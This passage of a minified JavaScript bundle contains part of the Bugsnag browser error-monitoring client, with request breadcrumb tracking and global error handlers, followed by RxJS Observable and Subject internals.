t.resetEventCount&&t.resetEventCount(),t._config.autoTrackSessions&&t.startSession(),r.apply(e,[o,a].concat(void 0!==s?s:[]))}},Jt=function(t){try{return t.history.state}catch(e){}},Qt="request",Kt="BS~~S",Xt="BS~~U",$t="BS~~M",te=function(t,e){return void 0===t&&(t=[]),void 0===e&&(e=window),{load:function(n){if(n._isBreadcrumbTypeEnabled("request")){var r=[n._config.endpoints.notify,n._config.endpoints.sessions].concat(t);(function(){if("addEventListener"in e.XMLHttpRequest.prototype){var t=e.XMLHttpRequest.prototype.open;e.XMLHttpRequest.prototype.open=function(e,n){this[Xt]=n,this[$t]=e,this[Kt]&&(this.removeEventListener("load",s),this.removeEventListener("error",u)),this.addEventListener("load",s),this.addEventListener("error",u),this[Kt]=!0,t.apply(this,arguments)}}})(),function(){if("fetch"in e&&!e.fetch.polyfill){var t=e.fetch;e.fetch=function(){var e,n=arguments,i=arguments[0],r=arguments[1],s=null;return i&&"object"==typeof i?(s=i.url,r&&"method"in r?e=r.method:i&&"method"in i&&(e=i.method)):(s=i,r&&"method"in r&&(e=r.method)),void 0===e&&(e="GET"),new Promise(function(i,r){t.apply(void 0,n).then(function(t){o(t,e,s),i(t)}).catch(function(t){a(e,s),r(t)})})}}}();var o=function(t,e,i){n.leaveBreadcrumb(t.status>=400?"fetch() failed":"fetch() succeeded",{status:t.status,request:e+" "+i},Qt)},a=function(t,e){n.leaveBreadcrumb("fetch() error",{request:t+" "+e},Qt)}}function s(){var t=this[Xt];void 0!==t?"string"==typeof t&&i(r,t.replace(/\?.*$/,""))||n.leaveBreadcrumb(this.status>=400?"XMLHttpRequest failed":"XMLHttpRequest succeeded",{status:this.status,request:this[$t]+" "+this[Xt]},Qt):n._logger.warn("The request URL is no longer present on this XMLHttpRequest. A breadcrumb cannot be left for this request.")}function u(){var t=this[Xt];void 0!==t?"string"==typeof t&&i(r,t.replace(/\?.*$/,""))||n.leaveBreadcrumb("XMLHttpRequest error",{request:this[$t]+" "+this[Xt]},Qt):n._logger.warn("The request URL is no longer present on this XMLHttpRequest. A breadcrumb cannot be left for this request.")}}}},ee={load:function(t){var e=0;t.addOnError(function(n){if(e>=t._config.maxEvents)return!1;e++}),t.resetEventCount=function(){e=0}},configSchema:{maxEvents:{defaultValue:function(){return 10},message:"should be a positive integer \u2264100",validate:function(t){return u(1,100)(t)}}}},ne={},ie=(ne={load:function(t){t.addOnError(function(t){var n=e(t.errors,function(t,e){return t.concat(e.stacktrace)},[]);d(n,function(t){t.file=ie(t.file)})})}})._strip=function(t){return"string"==typeof t?t.replace(/\?.*$/,"").replace(/#.*$/,""):t},re=function(t){return void 0===t&&(t=window),{load:function(e){if(e._config.autoDetectErrors&&e._config.enabledErrorTypes.unhandledExceptions){var n=t.onerror;t.onerror=function(t,i,r,o,a){if(0===r&&/Script error\.?/.test(t))e._logger.warn("Ignoring cross-domain or eval script error. See docs: https://tinyurl.com/yy3rn63z");else{var s,u={severity:"error",unhandled:!0,severityReason:{type:"unhandledException"}};a?(s=e.Event.create(a,!0,u,"window onerror",1),oe(s.errors[0].stacktrace,i,r,o)):"object"!=typeof t||null===t||i&&"string"==typeof i||r||o||a?(s=e.Event.create(t,!0,u,"window onerror",1),oe(s.errors[0].stacktrace,i,r,o)):((s=e.Event.create({name:t.type?"Event: "+t.type:"Error",message:t.message||t.detail||""},!0,u,"window onerror",1)).originalError=t,s.addMetadata("window onerror",{event:t,extraParameters:i})),e._notify(s)}"function"==typeof n&&n.apply(this,arguments)}}}}},oe=function(t,e,n,i){t[0]||t.push({});var r=t[0];!r.file&&"string"==typeof e&&(r.file=e),!r.lineNumber&&ae(n)&&(r.lineNumber=n),r.columnNumber||(ae(i)?r.columnNumber=i:window.event&&ae(window.event.errorCharacter)&&(r.columnNumber=window.event.errorCharacter))},ae=function(t){return"number"==typeof t&&"NaN"!==String.call(t)},se=function(t){return void 0===t&&(t=window),{load:function(e){if(e._config.autoDetectErrors&&e._config.enabledErrorTypes.unhandledRejections){var n=function(t){var n=t.reason,i=!1;try{t.detail&&t.detail.reason&&(n=t.detail.reason,i=!0)}catch(o){}var r=e.Event.create(n,!1,{severity:"error",unhandled:!0,severityReason:{type:"unhandledPromiseRejection"}},"unhandledrejection handler",1,e._logger);i&&d(r.errors[0].stacktrace,ue(n)),e._notify(r,function(t){var e;C(t.originalError)&&!t.originalError.stack&&t.addMetadata("unhandledRejection handler",((e={})[Object.prototype.toString.call(t.originalError)]={name:t.originalError.name,message:t.originalError.message,code:t.originalError.code},e))})};"addEventListener"in t?t.addEventListener("unhandledrejection",n):t.onunhandledrejection=function(t,e){n({detail:{reason:t,promise:e}})}}}}},ue=function(t){return function(e){e.file!==t.toString()&&e.method&&(e.method=e.method.replace(/^\s+/,""))}},ce={},le=f({},h.schema,m),he={_client:null,createClient:function(t){"string"==typeof t&&(t={apiKey:t}),t||(t={});var e=[gt,Pt(),yt(),Dt(),ee,Lt,Ft,ne,re(),se(),Gt(),Yt(),te(),Ut,jt()],n=new nt(t,le,e,{name:"Bugsnag JavaScript",version:"7.14.1",url:"https://github.com/bugsnag/bugsnag-js"});return n._setDelivery(window.XDomainRequest?ct:pt),n._logger.debug("Loaded!"),n.leaveBreadcrumb("Bugsnag loaded",{},"state"),n._config.autoTrackSessions?n.startSession():n},start:function(t){return he._client?(he._client._logger.warn("Bugsnag.start() was called more than once. Ignoring."),he._client):(he._client=he.createClient(t),he._client)}};return d(["resetEventCount"].concat(s(nt.prototype)),function(t){/^_/.test(t)||(he[t]=function(){if(!he._client)return console.log("Bugsnag."+t+"() was called before Bugsnag.start()");he._client._depth+=1;var e=he._client[t].apply(he._client,arguments);return he._client._depth-=1,e})}),(ce=he).Client=nt,ce.Event=F,ce.Session=K,ce.Breadcrumb=y,ce.default=he,ce}()},32118:function(t,e,n){t.exports=n(52683)},76491:function(t,e,n){"use strict";n.d(e,{X:function(){return o}});var i=n(79441),r=n(96874),o=function(t){l(n,t);var e=f(n);function n(t){var i;return _(this,n),(i=e.call(this))._value=t,i}return y(n,[{key:"value",get:function(){return this.getValue()}},{key:"_subscribe",value:function(t){var e=u(m(n.prototype),"_subscribe",this).call(this,t);return e&&!e.closed&&t.next(this._value),e}},{key:"getValue",value:function(){if(this.hasError)throw this.thrownError;if(this.closed)throw new r.N;return this._value}},{key:"next",value:function(t){u(m(n.prototype),"next",this).call(this,this._value=t)}}]),n}(i.xQ)},93621:function(t,e,n){"use strict";n.d(e,{P:function(){return a}});var i=n(8117),r=n(81134),o=n(45871),a=function(){function t(e,n,i){_(this,t),this.kind=e,this.value=n,this.error=i,this.hasValue="N"===e}return y(t,[{key:"observe",value:function(t){switch(this.kind){case"N":return t.next&&t.next(this.value);case"E":return t.error&&t.error(this.error);case"C":return t.complete&&t.complete()}}},{key:"do",value:function(t,e,n){switch(this.kind){case"N":return t&&t(this.value);case"E":return e&&e(this.error);case"C":return n&&n()}}},{key:"accept",value:function(t,e,n){return t&&"function"==typeof t.next?this.observe(t):this.do(t,e,n)}},{key:"toObservable",value:function(){switch(this.kind){case"N":return(0,r.of)(this.value);case"E":return(0,o._)(this.error);case"C":return(0,i.c)()}throw new Error("unexpected notification kind value")}}],[{key:"createNext",value:function(e){return void 0!==e?new t("N",e):t.undefinedValueNotification}},{key:"createError",value:function(e){return new t("E",void 0,e)}},{key:"createComplete",value:function(){return t.completeNotification}}]),t}();a.completeNotification=new a("C"),a.undefinedValueNotification=new a("N",void 0)},89544:function(t,e,n){"use strict";n.d(e,{y:function(){return l}});var i,r=n(71003),o=n(69975),a=n(80269),s=n(76165),u=n(87206),c=n(24572),l=((i=function(t){function e(t){_(this,e),this._isScalar=!1,t&&(this._subscribe=t)}return y(e,[{key:"lift",value:function(t){var n=new e;return n.source=this,n.operator=t,n}},{key:"subscribe",value:function(t,e,n){var i=this.operator,s=function(t,e,n){if(t){if(t instanceof r.L)return t;if(t[o.b])return t[o.b]()}return t||e||n?new r.L(t,e,n):new r.L(a.c)}(t,e,n);if(s.add(i?i.call(s,this.source):this.source||c.v.useDeprecatedSynchronousErrorHandling&&!s.syncErrorThrowable?this._subscribe(s):this._trySubscribe(s)),c.v.useDeprecatedSynchronousErrorHandling&&s.syncErrorThrowable&&(s.syncErrorThrowable=!1,s.syncErrorThrown))throw s.syncErrorValue;return s}},{key:"_trySubscribe",value:function(t){try{return this._subscribe(t)}catch(e){c.v.useDeprecatedSynchronousErrorHandling&&(t.syncErrorThrown=!0,t.syncErrorValue=e),function(t){for(;t;){var e=t,n=e.closed,i=e.destination,o=e.isStopped;if(n||o)return!1;t=i&&i instanceof r.L?i:null}return!0}(t)?t.error(e):console.warn(e)}}},{key:"forEach",value:function(t,e){var n=this;return new(e=h(e))(function(e,i){var r;r=n.subscribe(function(e){try{t(e)}catch(n){i(n),r&&r.unsubscribe()}},i,e)})}},{key:"_subscribe",value:function(t){var e=this.source;return e&&e.subscribe(t)}},{key:t,value:function(){return this}},{key:"pipe",value:function(){for(var t=arguments.length,e=new Array(t),n=0;n<t;n++)e[n]=arguments[n];return 0===e.length?this:function(t){return 0===t.length?u.y:1===t.length?t[0]:function(e){return t.reduce(function(t,e){return e(t)},e)}}(e)(this)}},{key:"toPromise",value:function(t){var e=this;return new(t=h(t))(function(t,n){var i;e.subscribe(function(t){return i=t},function(t){return n(t)},function(){return t(i)})})}}]),e}(s.L)).create=function(t){return new i(t)},i);function h(t){if(t||(t=c.v.Promise||Promise),!t)throw new Error("no Promise impl found");return t}},80269:function(t,e,n){"use strict";n.d(e,{c:function(){return o}});var i=n(24572),r=n(76901),o={closed:!0,next:function(t){},error:function(t){if(i.v.useDeprecatedSynchronousErrorHandling)throw t;(0,r.z)(t)},complete:function(){}}},84224:function(t,e,n){"use strict";n.d(e,{t:function(){return g}});var i=n(79441),r=n(39511),o=new(function(t){l(n,t);var e=f(n);function n(){return _(this,n),e.apply(this,arguments)}return n}(n(31660).v))(function(t){l(n,t);var e=f(n);function n(t,i){var r;return _(this,n),(r=e.call(this,t,i)).scheduler=t,r.work=i,r}return y(n,[{key:"schedule",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;return e>0?u(m(n.prototype),"schedule",this).call(this,t,e):(this.delay=e,this.state=t,this.scheduler.flush(this),this)}},{key:"execute",value:function(t,e){return e>0||this.closed?u(m(n.prototype),"execute",this).call(this,t,e):this._execute(t,e)}},{key:"requestAsyncId",value:function(t,e){var i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0;return null!==i&&i>0||null===i&&this.delay>0?u(m(n.prototype),"requestAsyncId",this).call(this,t,e,i):t.flush(this)}}]),n}(r.o)),a=n(11318),s=n(71003),c=n(93621),h=function(t){l(n,t);var e=f(n);function n(t,i){var r,o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0;return _(this,n),(r=e.call(this,t)).scheduler=i,r.delay=o,r}return y(n,[{key:"scheduleMessage",value:function(t){this.destination.add(this.scheduler.schedule(n.dispatch,this.delay,new d(t,this.destination)))}},{key:"_next",value:function(t){this.scheduleMessage(c.P.createNext(t))}},{key:"_error",value:function(t){this.scheduleMessage(c.P.createError(t)),this.unsubscribe()}},{key:"_complete",value:function(){this.scheduleMessage(c.P.createComplete()),this.unsubscribe()}}],[{key:"dispatch",value:function(t){var e=t.notification,n=t.destination;e.observe(n),this.unsubscribe()}}]),n}(s.L),d=function t(e,n){_(this,t),this.notification=e,this.destination=n},p=n(96874),v=n(32691),g=function(t){l(n,t);var e=f(n);function n(){var t,i=arguments.length>0&&void 0!==arguments[0]?arguments[0]:Number.POSITIVE_INFINITY,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:Number.POSITIVE_INFINITY,o=arguments.length>2?arguments[2]:void 0;return _(this,n),(t=e.call(this)).scheduler=o,t._events=[],t._infiniteTimeWindow=!1,t._bufferSize=i<1?1:i,t._windowTime=r<1?1:r,r===Number.POSITIVE_INFINITY?(t._infiniteTimeWindow=!0,t.next=t.nextInfiniteTimeWindow):t.next=t.nextTimeWindow,t}return y(n,[{key:"nextInfiniteTimeWindow",value:function(t){if(!this.isStopped){var e=this._events;e.push(t),e.length>this._bufferSize&&e.shift()}u(m(n.prototype),"next",this).call(this,t)}},{key:"nextTimeWindow",value:function(t){this.isStopped||(this._events.push(new b(this._getNow(),t)),this._trimBufferThenGetEvents()),u(m(n.prototype),"next",this).call(this,t)}},{key:"_subscribe",value:function(t){var e,n=this._infiniteTimeWindow,i=n?this._events:this._trimBufferThenGetEvents(),r=this.scheduler,o=i.length;if(this.closed)throw new p.N;if(this.isStopped||this.hasError?e=a.w.EMPTY:(this.observers.push(t),e=new v.W(this,t)),r&&t.add(t=new h(t,r)),n)for(var s=0;s<o&&!t.closed;s++)t.next(i[s]);else for(var u=0;u<o&&!t.closed;u++)t.next(i[u].value);return this.hasError?t.error(this.thrownError):this.isStopped&&t.complete(),e}},{key:"_getNow",value:function(){return(this.scheduler||o).now()}},{key:"_trimBufferThenGetEvents",value:function(){for(var t=this._getNow(),e=this._bufferSize,n=this._windowTime,i=this._events,r=i.length,o=0;o<r&&!(t-i[o].time<n);)o++;return r>e&&(o=Math.max(o,r-e)),o>0&&i.splice(0,o),i}}]),n}(i.xQ),b=function t(e,n){_(this,t),this.time=e,this.value=n}},79441:function(t,e,n){"use strict";n.d(e,{Yc:function(){return d},xQ:function(){return p}});var i,r=n(89544),o=n(71003),a=n(11318),s=n(96874),c=n(32691),h=n(69975),d=function(t){l(n,t);var e=f(n);function n(t){var i;return _(this,n),(i=e.call(this,t)).destination=t,i}return n}(o.L),p=((i=function(t,e){l(i,t);var n=f(i);function i(){var t;return _(this,i),(t=n.call(this)).observers=[],t.closed=!1,t.isStopped=!1,t.hasError=!1,t.thrownError=null,t}return y(i,[{key:e,value:function(){return new d(this)}},{key:"lift",value:function(t){var e=new v(this,this);return e.operator=t,e}},{key:"next",value:function(t){if(this.closed)throw new s.N;if(!this.isStopped)for(var e=this.observers,n=e.length,i=e.slice(),r=0;r<n;r++)i[r].next(t)}},{key:"error",value:function(t){if(this.closed)throw new s.N;this.hasError=!0,this.thrownError=t,this.isStopped=!0;for(var e=this.observers,n=e.length,i=e.slice(),r=0;r<n;r++)i[r].error(t);this.observers.length=0}},{key:"complete",value:function(){if(this.closed)throw new s.N;this.isStopped=!0;for(var t=this.observers,e=t.length,n=t.slice(),i=0;i<e;i++)n[i].complete();this.observers.length=0}},{key:"unsubscribe",value:function(){this.isStopped=!0,this.closed=!0,this.observers=null}},{key:"_trySubscribe",value:function(t){if(this.closed)throw new s.N;return u(m(i.prototype),"_trySubscribe",this).call(this,t)}},{key:"_subscribe",value:function(t){if(this.closed)throw new s.N;return this.hasError?(t.error(this.thrownError),a.w.EMPTY):this.isStopped?(t.complete(),a.w.EMPTY):(this.observers.push(t),new c.W(this,t))}},{key:"asObservable",value:function(){var t=new r.y;return t.source=this,t}}]),i}(r.y,h.b)).create=function(t,e){return new v(t,e)},i),v=function(t){l(n,t);var e=f(n);function n(t,i){var r;return _(this,n),(r=e.call(this)).destination=t,r.source=i,r}return y(n,[{key:"next",value:function(t){var e=this.destination;e&&e.next&&e.next(t)}},{key:"error",value:function(t){var e=this.destination;e&&e.error&&this.destination.error(t)}},{key:"complete",value:function(){var t=this.destination;t&&t.complete&&this.destination.complete()}},{key:"_subscribe",value:function(t){return this.source?this.source.subscribe(t):a.w.EMPTY}}]),n}(p)},32691:function(t,e,n){"use strict";n.d(e,{W:function(){return i}});var i=function(t){l(n,t);var e=f(n);function n(t,i){var r;return _(this,n),(r=e.call(this)).subject=t,r.subscriber=i,r.closed=!1,r}return y(n,[{key:"unsubscribe",value:function(){if(!this.closed){this.closed=!0;var t=this.subject,e=t.observers;if(this.subject=null,e&&0!==e.length&&!t.isStopped&&!t.closed){var n=e.indexOf(this.subscriber);-1!==n&&e.splice(n,1)}}}}]),n}(n(11318).w)},71003:function(t,e,n){"use strict";n.d(e,{L:function(){return h}});var i=n(80018),r=n(80269),o=n(11318),a=n(69975),s=n(24572),c=n(76901),h=function(t,e){l(i,t);var n=f(i);function i(t,e,o){var a;switch(_(this,i),(a=n.call(this)).syncErrorValue=null,a.syncErrorThrown=!1,a.syncErrorThrowable=!1,a.isStopped=!1,arguments.length){case 0:a.destination=r.c;break;case 1:if(!t){a.destination=r.c;break}if("object"==typeof t){t instanceof i?(a.syncErrorThrowable=t.syncErrorThrowable,a.destination=t,t.add(p(a))):(a.syncErrorThrowable=!0,a.destination=new d(p(a),t));break}default:a.syncErrorThrowable=!0,a.destination=new d(p(a),t,e,o)}return a}return y(i,[{key:e,value:function(){return this}},{key:"next",value:function(t){this.isStopped||this._next(t)}},{key:"error",value:function(t){this.isStopped||(this.isStopped=!0,this._error(t))}},{key:"complete",value:function(){this.isStopped||(this.isStopped=!0,this._complete())}},{key:"unsubscribe",value:function(){this.closed||(this.isStopped=!0,u(m(i.prototype),"unsubscribe",this).call(this))}},{key:"_next",value:function(t){this.destination.next(t)}},{key:"_error",value:function(t){this.destination.error(t),this.unsubscribe()}},{key:"_complete",value:function(){this.destination.complete(),this.unsubscribe()}},{key:"_unsubscribeAndRecycle",value:function(){var t=this._parentOrParents;return this._parentOrParents=null,this.unsubscribe(),this.closed=!1,this.isStopped=!1,this._parentOrParents=t,this}}],[{key:"create",value:function(t,e,n){var r=new i(t,e,n);return r.syncErrorThrowable=!1,r}}]),i}(o.w,a.b),d=function(t){l(n,t);var e=f(n);function n(t,o,a,s){var u;_(this,n),(u=e.call(this))._parentSubscriber=t;var c,l=p(u);return(0,i.m)(o)?c=o:o&&(c=o.next,a=o.error,s=o.complete,o!==r.c&&(l=Object.create(o),(0,i.m)(l.unsubscribe)&&u.add(l.unsubscribe.bind(l)),l.unsubscribe=u.unsubscribe.bind(p(u)))),u._context=l,u._next=c,u._error=a,u._complete=s,u}return y(n,[{key:"next",value:function(t){if(!this.isStopped&&this._next){var e=this._parentSubscriber;s.v.useDeprecatedSynchronousErrorHandling&&e.syncErrorThrowable?this.__tryOrSetError(e,this._next,t)&&this.unsubscribe():this.__tryOrUnsub(this._next,t)}}},{key:"error",value:function(t){if(!this.isStopped){var e=this._parentSubscriber,n=s.v.useDeprecatedSynchronousErrorHandling;if(this._error)n&&e.syncErrorThrowable?(this.__tryOrSetError(e,this._error,t),this.unsubscribe()):(this.__tryOrUnsub(this._error,t),this.unsubscribe());else if(e.syncErrorThrowable)n?(e.syncErrorValue=t,e.syncErrorThrown=!0):(0,c.z)(t),this.unsubscribe();else{if(this.unsubscribe(),n)throw t;(0,c.z)(t)}}}},{key:"complete",value:function(){var t=this;if(!this.isStopped){var e=this._parentSubscriber;if(this._complete){var n=function(){return t._complete.call(t._context)};s.v.useDeprecatedSynchronousErrorHandling&&e.syncErrorThrowable?(this.__tryOrSetError(e,n),this.unsubscribe()):(this.__tryOrUnsub(n),this.unsubscribe())}else this.unsubscribe()}}},{key:"__tryOrUnsub",value:function(t,e){try{t.call(this._context,e)}catch(n){if(this.unsubscribe(),s.v.useDeprecatedSynchronousErrorHandling)throw n;(0,c.z)(n)}}},{key:"__tryOrSetError",value:function(t,e,n){if(!s.v.useDeprecatedSynchronousErrorHandling)throw new Error("bad call");try{e.call(this._context,n)}catch(i){return s.v.useDeprecatedSynchronousErrorHandling?(t.syncErrorValue=i,t.syncErrorThrown=!0,!0):((0,c.z)(i),!0)}return!1}},{key:"_unsubscribe",value:function(){var t=this._parentSubscriber;this._context=null,this._parentSubscriber=null,t.unsubscribe()}}]),n}(h)},11318:function(t,e,n){"use strict";n.d(e,{w:function(){return u}});var i,r=n(49861),o=n(71533),a=n(80018),s=function(){function t(t){return Error.call(this),this.message=t?"".concat(t.length," errors occurred during unsubscription:\n").concat(t.map(function(t,e){return"".concat(e+1,") ").concat(t.toString())}).join("\n ")):"",this.name="UnsubscriptionError",this.errors=t,this}return t.prototype=Object.create(Error.prototype),t}(),u=function(){function t(e){_(this,t),this.closed=!1,this._parentOrParents=null,this._subscriptions=null,e&&(this._ctorUnsubscribe=!0,this._unsubscribe=e)}return y(t,[{key:"unsubscribe",value:function(){var e;if(!this.closed){var n=this._parentOrParents,i=this._ctorUnsubscribe,u=this._unsubscribe,l=this._subscriptions;if(this.closed=!0,this._parentOrParents=null,this._subscriptions=null,n instanceof t)n.remove(this);else if(null!==n)for(var h=0;h<n.length;++h)n[h].remove(this);if((0,a.m)(u)){i&&(this._unsubscribe=void 0);try{u.call(this)}catch(h){e=h instanceof s?c(h.errors):[h]}}if((0,r.k)(l))for(var f=-1,d=l.length;++f<d;){var p=l[f];if((0,o.K)(p))try{p.unsubscribe()}catch(v){e=e||[],v instanceof s?e=e.concat(c(v.errors)):e.push(v)}}if(e)throw new s(e)}}},{key:"add",value:function(e){var n=e;if(!e)return t.EMPTY;switch(typeof e){case"function":n=new t(e);case"object":if(n===this||n.closed||"function"!=typeof n.unsubscribe)return n;if(this.closed)return n.unsubscribe(),n;if(!(n instanceof t)){var i=n;(n=new t)._subscriptions=[i]}break;default:throw new Error("unrecognized teardown "+e+" added to Subscription.")}var r=n._parentOrParents;if(null===r)n._parentOrParents=this;else if(r instanceof t){if(r===this)return n;n._parentOrParents=[r,this]}else{if(-1!==r.indexOf(this))return n;r.push(this)}var o=this._subscriptions;return null===o?this._subscriptions=[n]:o.push(n),n}},{key:"remove",value:function(t){var e=this._subscriptions;if(e){var n=e.indexOf(t);-1!==n&&e.splice(n,1)}}}]),t}();function c(t){return t.reduce(function(t,e){return t.concat(e instanceof s?e.errors:e)},[])}u.EMPTY=((i=new u).closed=!0,i)},24572:function(t,e,n){"use strict";n.d(e,{v:function(){return r}});var i=!1,r={Promise:void 0,set useDeprecatedSynchronousErrorHandling(t){if(t){var e=new Error;console.warn("DEPRECATED! RxJS was set to use deprecated synchronous error handling behavior by code at: \n"+e.stack)}else i&&console.log("RxJS: Back to a better error behavior. Thank you. <3");i=t},get useDeprecatedSynchronousErrorHandling(){return i}}},27272:function(t,e,n){"use strict";n.d(e,{IY:function(){return a},Ds:function(){return s},ft:function(){return u}});var i=n(71003),r=n(89544),o=n(57888),a=function(t){l(n,t);var e=f(n);function n(t){var i;return _(this,n),(i=e.call(this)).parent=t,i}return y(n,[{key:"_next",value:function(t){this.parent.notifyNext(t)}},{key:"_error",value:function(t){this.parent.notifyError(t),this.unsubscribe()}},{key:"_complete",value:function(){this.parent.notifyComplete(),this.unsubscribe()}}]),n}(i.L),s=function(t){l(n,t);var e=f(n);function n(){return _(this,n),e.apply(this,arguments)}return y(n,[{key:"notifyNext",value:function(t){this.destination.next(t)}},{key:"notifyError",value:function(t){this.destination.error(t)}},{key:"notifyComplete",value:function(){this.destination.complete()}}]),n}(i.L);function u(t,e){if(!e.closed){if(t instanceof r.y)return t.subscribe(e);var n;try{n=(0,o.s)(t)(e)}catch(i){e.error(i)}return n}}},92494:function(t,e,n){"use strict";n.d(e,{c:function(){return c},N:function(){return h}});var i,r=n(79441),o=n(89544),a=n(11318),s=n(97085),c=function(t){l(n,t);var e=f(n);function n(t,i){var r;return _(this,n),(r=e.call(this)).source=t,r.subjectFactory=i,r._refCount=0,r._isComplete=!1,r}return y(n,[{key:"_subscribe",value:function(t){return this.getSubject().subscribe(t)}},{key:"getSubject",value:function(){var t=this._subject;return(!t||t.isStopped)&&(this._subject=this.subjectFactory()),this._subject}},{key:"connect",value:function(){var t=this._connection;return t||(this._isComplete=!1,(t=this._connection=new a.w).add(this.source.subscribe(new d(this.getSubject(),this))),t.closed&&(this._connection=null,t=a.w.EMPTY)),t}},{key:"refCount",value:function(){return(0,s.x)()(this)}}]),n}(o.y),h={operator:{value:null},_refCount:{value:0,writable:!0},_subject:{value:null,writable:!0},_connection:{value:null,writable:!0},_subscribe:{value:(i=c.prototype)._subscribe},_isComplete:{value:i._isComplete,writable:!0},getSubject:{value:i.getSubject},connect:{value:i.connect},refCount:{value:i.refCount}},d=function(t){l(n,t);var e=f(n);function n(t,i){var r;return _(this,n),(r=e.call(this,t)).connectable=i,r}return y(n,[{key:"_error",value:function(t){this._unsubscribe(),u(m(n.prototype),"_error",this).call(this,t)}},{key:"_complete",value:function(){this.connectable._isComplete=!0,this._unsubscribe(),u(m(n.prototype),"_complete",this).call(this)}},{key:"_unsubscribe",value:function(){var t=this.connectable;if(t){this.connectable=null;var e=t._connection;t._refCount=0,t._subject=null,t._connection=null,e&&e.unsubscribe()}}}]),n}(r.Yc)},79097:function(t,e,n){"use strict";n.d(e,{aj:function(){return v}});var i=n(86770),r=n(49861),o=n(71003),a=function(t){l(n,t);var e=f(n);function n(){return _(this,n),e.apply(this,arguments)}return y(n,[{key:"notifyNext",value:function(t,e,n,i,r){this.destination.next(e)}},{key:"notifyError",value:function(t,e){this.destination.error(t)}},{key:"notifyComplete",value:function(t){this.destination.complete()}}]),n}(o.L),s=function(t){l(n,t);var e=f(n);function n(t,i,r){var o;return _(this,n),(o=e.call(this)).parent=t,o.outerValue=i,o.outerIndex=r,o.index=0,o}return y(n,[{key:"_next",value:function(t){this.parent.notifyNext(this.outerValue,t,this.outerIndex,this.index++,this)}},{key:"_error",value:function(t){this.parent.notifyError(t,this),this.unsubscribe()}},{key:"_complete",value:function(){this.parent.notifyComplete(this),this.unsubscribe()}}]),n}(o.L),u=n(57888),c=n(89544);function h(t,e,n,i){var r=arguments.length>4&&void 0!==arguments[4]?arguments[4]:new s(t,n,i);if(!r.closed)return e instanceof c.y?e.subscribe(r):(0,u.s)(e)(r)}var d=n(83446),p={};function v(){for(var t=arguments.length,e=new Array(t),n=0;n<t;n++)e[n]=arguments[n];var o,a;return(0,i.K)(e[e.length-1])&&(a=e.pop()),"function"==typeof e[e.length-1]&&(o=e.pop()),1===e.length&&(0,r.k)(e[0])&&(e=e[0]),(0,d.n)(e,a).lift(new m(o))}var m=function(){function t(e){_(this,t),this.resultSelector=e}return y(t,[{key:"call",value:function(t,e){return e.subscribe(new g(t,this.resultSelector))}}]),t}(),g=function(t){l(n,t);var e=f(n);function n(t,i){var r;return _(this,n),(r=e.call(this,t)).resultSelector=i,r.active=0,r.values=[],r.observables=[],r}return y(n,[{key:"_next",value:function(t){this.values.push(p),this.observables.push(t)}},{key:"_complete",value:function(){var t=this.observables,e=t.length;if(0===e)this.destination.complete();else{this.active=e,this.toRespond=e;for(var n=0;n<e;n++)this.add(h(this,t[n],void 0,n))}}},{key:"notifyComplete",value:function(t){0==(this.active-=1)&&this.destination.complete()}},{key:"notifyNext",value:function(t,e,n){var i=this.values,r=this.toRespond?i[n]===p?--this.toRespond:this.toRespond:0;i[n]=e,0===r&&(this.resultSelector?this._tryResultSelector(i):this.destination.next(i.slice()))}},{key:"_tryResultSelector",value:function(t){var e;try{e=this.resultSelector.apply(this,t)}catch(n){return void this.destination.error(n)}this.destination.next(e)}}]),n}(a)},83972:function(t,e,n){"use strict";n.d(e,{z:function(){return o}});var i=n(81134),r=n(96324);function o(){return(0,r.J)(1)(i.of.apply(void 0,arguments))}},58640:function(t,e,n){"use strict";n.d(e,{P:function(){return a}});var i=n(89544),r=n(30400),o=n(8117);function a(t){return new i.y(function(e){var n;try{n=t()}catch(i){return void e.error(i)}return(n?(0,r.D)(n):(0,o.c)()).subscribe(e)})}},8117:function(t,e,n){"use strict";n.d(e,{E:function(){return r},c:function(){return o}});var i=n(89544),r=new i.y(function(t){return t.complete()});function o(t){return t?function(t){return new i.y(function(e){return t.schedule(function(){return e.complete()})})}(t):r}},42720:function(t,e,n){"use strict";n.d(e,{D:function(){return c}});var r=n(89544),o=n(49861),a=n(33927),s=n(71533),u=n(30400);function c(){for(var t=arguments.length,e=new Array(t),n=0;n<t;n++)e[n]=arguments[n];if(1===e.length){var r=e[0];if((0,o.k)(r))return l(r,null);if((0,s.K)(r)&&Object.getPrototypeOf(r)===Object.prototype){var u=Object.keys(r);return l(u.map(function(t){return r[t]}),u)}}if("function"==typeof e[e.length-1]){var c=e.pop();return l(e=1===e.length&&(0,o.k)(e[0])?e[0]:e,null).pipe((0,a.U)(function(t){return c.apply(void 0,i(t))}))}return l(e,null)}function l(t,e){return new r.y(function(n){var i=t.length;if(0!==i)for(var r=new Array(i),o=0,a=0,s=function(s){var c=(0,u.D)(t[s]),l=!1;n.add(c.subscribe({next:function(t){l||(l=!0,a++),r[s]=t},error:function(t){return n.error(t)},complete:function(){(++o===i||!l)&&(a===i&&n.next(e?e.reduce(function(t,e,n){return t[e]=r[n],t},{}):r),n.complete())}}))},c=0;c<i;c++)s(c);else n.complete()})}},30400:function(t,e,n){"use strict";n.d(e,{D:function(){return h}});var i=n(89544),r=n(57888),o=n(11318),a=n(76165),s=n(84049),u=n(2611),c=n(95751),l=n(984);function h(t,e){return e?function(t,e){if(null!=t){if(function(t){return t&&"function"==typeof t[a.L]}(t))return function(t,e){return new i.y(function(n){var i=new o.w;return i.add(e.schedule(function(){var r=t[a.L]();i.add(r.subscribe({next:function(t){i.add(e.schedule(function(){return n.next(t)}))},error:function(t){i.add(e.schedule(function(){return n.error(t)}))},complete:function(){i.add(e.schedule(function(){return n.complete()}))}}))})),i})}(t,e);if((0,c.t)(t))return function(t,e){return new i.y(function(n){var i=new o.w;return i.add(e.schedule(function(){return t.then(function(t){i.add(e.schedule(function(){n.next(t),i.add(e.schedule(function(){return n.complete()}))}))},function(t){i.add(e.schedule(function(){return n.error(t)}))})})),i})}(t,e);if((0,l.z)(t))return(0,s.r)(t,e);if(function(t){return t&&"function"==typeof t[u.hZ]}(t)||"string"==typeof t)return function(t,e){if(!t)throw new Error("Iterable cannot be null");return new i.y(function(n){var i,r=new o.w;return r.add(function(){i&&"function"==typeof i.return&&i.return()}),r.add(e.schedule(function(){i=t[u.hZ](),r.add(e.schedule(function(){if(!n.closed){var t,e;try{var 